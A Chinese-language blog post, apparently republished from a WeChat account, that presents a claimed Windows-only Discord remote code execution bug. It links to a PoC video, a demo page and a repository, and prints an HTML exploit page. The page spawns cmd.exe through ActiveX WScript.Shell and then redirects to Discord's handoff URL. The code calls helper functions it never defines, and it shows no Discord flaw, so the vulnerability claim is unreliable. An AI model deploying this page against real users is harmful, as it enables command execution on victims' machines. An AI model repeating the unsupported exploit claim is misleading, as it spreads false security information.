Discord远程代码执行漏洞验证与利用分析
Discord远程代码执行漏洞验证
技术背景
该漏洞仅影响Windows系统,具有以下特征:
- 自动执行机制:即使Discord客户端未运行,攻击载荷也能强制启动程序
- 利用方式:通过特制HTML页面实现命令注入
漏洞验证资源
- PoC演示视频:YouTube链接
- 在线验证页面:SleepTheGod.github.io
- 完整利用代码:GitHub仓库
核心利用代码分析
<!DOCTYPE html>
<html>
<head>
<script>
function openCmd() {
try {
var shell = new ActiveXObject("WScript.Shell");
shell.run("cmd.exe"); // 通过ActiveX执行系统命令
} catch (e) {
alert("浏览器安全限制阻止此操作");
}
}
window.onload = function() {
const payload = getQueryParam('payload');
let targetUrl = 'https://discord.com/handoff';
if (payload && isValidPayload(payload)) {
targetUrl += `?payload=${encodeURIComponent(payload)}`;
if (payload === 'openCmd' && window.ActiveXObject) {
openCmd(); // 条件触发命令执行
}
}
setTimeout(function() {
window.location.href = targetUrl; // 3秒后重定向
}, 3000);
}
</script>
</head>
<body>
<p>自动跳转失败请<a href="https://discord.com/handoff">手动点击</a></p>
</body>
</html>
技术要点说明
- 攻击向量:利用ActiveXObject实现Windows系统命令执行
- 载荷验证:通过正则表达式
/^[a-zA-Z0-9_-]+$/
进行基本过滤 - 触发条件:需要特定payload参数且支持ActiveX的浏览器环境
注意:该漏洞利用涉及系统级操作,请在授权环境下进行测试验证
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码